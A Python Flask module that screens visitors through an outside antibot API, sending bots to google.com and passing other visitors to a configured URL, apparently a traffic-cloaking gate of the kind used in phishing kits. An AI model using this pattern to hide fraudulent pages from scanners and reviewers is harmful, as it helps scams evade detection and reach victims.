"""
XAntibot visitor gate — session + API check for public pages.
Panel setting: xantibot_enabled / xantibot_api_key (app_settings in SQLite).
Env fallback: XANTIBOT_API_KEY, XANTIBOT_DISABLED=1
"""
from __future__ import annotations

import os
import sqlite3
from typing import Any, Optional

import requests
from flask import redirect, request, session

API_URL = "https://xantibot.net/api/ip-antibot"


def _settings_db_path() -> str:
    root = os.path.dirname(os.path.abspath(__file__))
    return os.environ.get(
        "ATOMIC_DATABASE_PATH", os.path.join(root, "admin", "database.sqlite")
    )


def _read_setting(key: str) -> str:
    try:
        conn = sqlite3.connect(_settings_db_path())
        conn.row_factory = sqlite3.Row
        cur = conn.cursor()
        cur.execute("SELECT value FROM app_settings WHERE key = ?", (key,))
        row = cur.fetchone()
        conn.close()
        if row and row["value"]:
            return str(row["value"]).strip()
    except Exception:
        pass
    return ""


def _antibot_enabled() -> bool:
    panel = _read_setting("xantibot_enabled")
    if panel:
        return panel.lower() in ("1", "true", "yes", "on")
    return os.environ.get("XANTIBOT_DISABLED", "").lower() not in (
        "1",
        "true",
        "yes",
        "t",
    )


def _antibot_api_key() -> str:
    return (
        _read_setting("xantibot_api_key")
        or (os.environ.get("XANTIBOT_API_KEY") or "").strip()
    )


def _client_ip() -> str:
    for header in (
        "CF-Connecting-IP",
        "X-Forwarded-For",
        "X-Real-IP",
        "X-Client-IP",
    ):
        val = request.headers.get(header)
        if val:
            ip = val.split(",")[0].strip()
            if ip:
                return ip
    return request.remote_addr or "0.0.0.0"


def _accept_language_sorted(header_val: str) -> str:
    if not header_val:
        return ""
    langs: dict[str, float] = {}
    for raw in header_val.split(","):
        part = raw.strip()
        if not part:
            continue
        q = 1.0
        if ";q=" in part.lower():
            try:
                code, qv = part.split(";", 1)
                part = code.strip()
                if "q=" in qv.lower():
                    q = float(qv.split("=", 1)[1].strip())
            except (ValueError, IndexError):
                q = 1.0
        if part:
            langs[part] = q
    ordered = sorted(langs.keys(), key=lambda k: langs[k], reverse=True)
    return ",".join(ordered)


def run_xantibot_gate() -> Optional[Any]:
    if not _antibot_enabled():
        return None

    api_key = _antibot_api_key()
    redirect_bot = (
        os.environ.get("XANTIBOT_REDIRECT_BOT") or "https://www.google.com"
    ).strip()
    redirect_real = (os.environ.get("XANTIBOT_REDIRECT_REAL") or "").strip()

    if not api_key:
        return None

    if session.get("xantibot_bot") is True:
        return redirect(redirect_bot, code=302)

    if session.get("xantibot_checked"):
        if redirect_real:
            return redirect(redirect_real, code=302)
        return None

    headers_lc = {k.lower(): v for k, v in request.headers.items()}
    params: dict[str, str] = {
        "ip": _client_ip(),
        "apikey": api_key,
    }
    al = headers_lc.get("accept-language")
    if al:
        params["lang"] = _accept_language_sorted(al)
    ua = headers_lc.get("user-agent")
    if ua:
        params["useragent"] = ua

    try:
        r = requests.get(API_URL, params=params, timeout=10)
        data = r.json()
    except Exception:
        session["xantibot_checked"] = True
        session["xantibot_bot"] = False
        if redirect_real:
            return redirect(redirect_real, code=302)
        return None

    if isinstance(data, dict) and data.get("status") == "success":
        blocked = data.get("data", {}).get("is_blocked")
        if blocked == 1:
            session["xantibot_bot"] = True
            session["xantibot_checked"] = True
            return redirect(redirect_bot, code=302)
        if blocked == 0:
            session["xantibot_bot"] = False
        session["xantibot_checked"] = True
        if redirect_real:
            return redirect(redirect_real, code=302)
        return None

    session["xantibot_checked"] = True
    session["xantibot_bot"] = False
    if redirect_real:
        return redirect(redirect_real, code=302)
    return None
